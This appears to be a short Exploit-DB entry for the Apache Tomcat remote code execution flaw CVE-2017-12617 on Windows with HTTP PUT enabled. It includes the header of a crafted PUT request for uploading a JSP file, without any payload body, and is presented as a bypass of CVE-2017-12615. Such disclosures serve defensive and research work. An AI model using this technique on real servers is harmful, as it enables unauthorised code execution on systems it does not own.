# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html
When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request.
This JSP could then be requested and any code it contained would be executed by the server.
The PoC is like this:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1

It is the bypass for CVE-2017-12615
